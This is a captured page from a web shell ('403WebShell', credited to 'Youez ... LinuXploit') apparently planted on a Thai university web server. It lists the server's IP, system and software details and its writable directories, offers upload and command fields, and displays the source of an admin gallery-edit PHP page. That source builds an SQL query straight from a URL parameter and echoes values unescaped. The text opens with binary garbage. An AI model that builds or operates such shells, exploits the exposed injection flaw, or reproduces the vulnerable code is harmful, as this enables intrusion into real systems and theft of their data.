h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/igallery/admin/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/igallery/admin/pages/gallery_detail_edit-20250125.php
<?php include 'check_mode_admin.php';?>
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>
<?php
if (check_mode_admin_session(1,1)) {
?>
<?php
	$pagetitle_text = "แก้ไขข้อมูลกิจกรรม";
?>		  
	<h1 class="page-header"><?php echo $pagetitle_text;?></h1>	
<?php	
	$gallery_id=$_GET['id'];
	//$strKeyword=$_GET['txtKeyword'];
	$page=$_GET['Page'];
	//$donate_list=$_GET['donate_list'];		
	$sql = "SELECT * from gallery WHERE gallery_id=" . $gallery_id;
	$query = mysqli_query($conn,$sql);	
	if($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
?>
	<form action="gallery_detail_edit_db.php" method="post" name="form1" id="form1">
		<table class="table table-striped table-bordered table-hover">
			<tbody>
				<tr>
					<td>รหัส</td>
					<td><?php echo $result["gallery_id"];?></td>
				</tr>
				<tr>
					<td>ชื่อกิจกรรม</td>
					<td>
						<div class="form-group">
							<input name="gallery_name" id="gallery_name" class="form-control" value="<?php echo $result["gallery_name"];?>">
						</div>
					</td>
				</tr>
				<tr>
					<td>ชื่อกิจกรรมภาษาอังกฤษ</td>
					<td>
						<div class="form-group">
							<input name="gallery_name_eng" id="gallery_name_eng" class="form-control" value="<?php echo $result["gallery_name_eng"];?>">
						</div>
					</td>
				</tr>	
				<tr>
					<td>ประเภทกิจกรรม</td>
				  	<td><select name="exhibition_type_id">
<?php
	$sql2 = "SELECT * from exhibition_type";
	$sql2 .= " ORDER BY exhibition_type_id";
	$query2 = mysqli_query($conn,$sql2);
	while ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
	{
		if ($result2["exhibition_type_id"]==$result["exhibition_type_id"])
		{
?>		
				    <option value="<?php echo $result2["exhibition_type_id"];?>" selected="selected"><?php echo $result2["exhibition_type_name"];?></option>			
<?php
		}
		else
		{
?>	
				    <option value="<?php echo $result2["exhibition_type_id"];?>"><?php echo $result2["exhibition_type_name"];?></option>	
<?php	
		}
	}  //while ($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
?>
					</select>
				  	</td>
				</tr>							
				<tr>
					<td>รายละเอียด</td>
					<td>				
                        <div class="form-group">
                               <textarea class="form-control" rows="5" name="gallery_detail" id="gallery_detail"><?php echo $result["gallery_detail"];?></textarea>
                        </div>		
					</td>		
				</tr>
				<tr>
					<td>รายละเอียดภาษาอังกฤษ</td>
					<td>				
                        <div class="form-group">
                               <textarea class="form-control" rows="5" name="gallery_detail_eng" id="gallery_detail_eng"><?php echo $result["gallery_detail_eng"];?></textarea>
                        </div>		
					</td>		
				</tr>				
				<tr>
					<td>วันที่</td>
					<td>
						<div class="form-group">
							<input type="date" name="gallery_date" class="form-control" id="gallery_date" value="<?php echo $result["gallery_date"];?>">
						</div>
					</td>
				</tr>	
				<tr>
					<td>URL ภาพกิจกรรม<BR />(หากต้องการใช้ภาพจากระบบอื่น กรุณากรอก URL)<BR />(หากต้องการจัดเก็บภาพในระบบนี้ ไม่ต้องกรอก URL)</td>
					<td>
						<div class="form-group">
							<input name="gallery_url" id="gallery_url" class="form-control" value="<?php echo $result["gallery_url"];?>">
						</div>
					</td>
				</tr>											
			</tbody>
		</table>
                                        <div class="form-group">
											<input name="submit" type="submit" id="submit" value="บันทึกข้อมูล" class="btn btn-success">
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<a href='javascript:history.back(1);'><button type="button" class="btn btn-default">ยกเลิก</button></a>
											<input name="gallery_id" type="hidden" id="gallery_id" value="<?php echo $gallery_id;?>" />
											<input name="Page" type="hidden" id="Page" value="<?php echo $page;?>" />
											<!--<input name="txtKeyword" type="hidden" id="txtKeyword" value="<?php //echo $strKeyword;?>" />
											<input name="Page" type="hidden" id="Page" value="<?php //echo $page;?>" />
											<input name="donate_list" type="hidden" id="donate_list" value="<?php// echo $donate_list;?>" />-->
                                        </div>	
	</form>																				
<?php	
	}
	else
	{
		echo "ไม่พบข้อมูล";
?>		
		<BR /><BR />
		<a href='javascript:history.back(1);'><button type="button" class="btn btn-warning">กลับหน้าที่แล้ว</button></a>
<?php
	}
?>

<?php
} //if(check_mode_admin_session(1,1)) {
?>
<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit